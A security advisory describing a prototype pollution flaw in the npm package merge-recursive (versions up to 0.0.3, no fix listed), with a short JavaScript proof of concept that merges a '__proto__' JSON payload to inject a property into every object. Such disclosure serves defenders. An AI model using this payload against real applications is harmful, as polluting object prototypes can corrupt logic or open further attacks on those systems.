GHSA-cvxm-f295-x957
Prototype Pollution in merge-recursive
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | merge-recursive | <= 0.0.3 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.
Proof of concept:
```js
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
```
## Recommendation
There is currently no fix available.
References
External links from the advisory. They lead to third-party sites.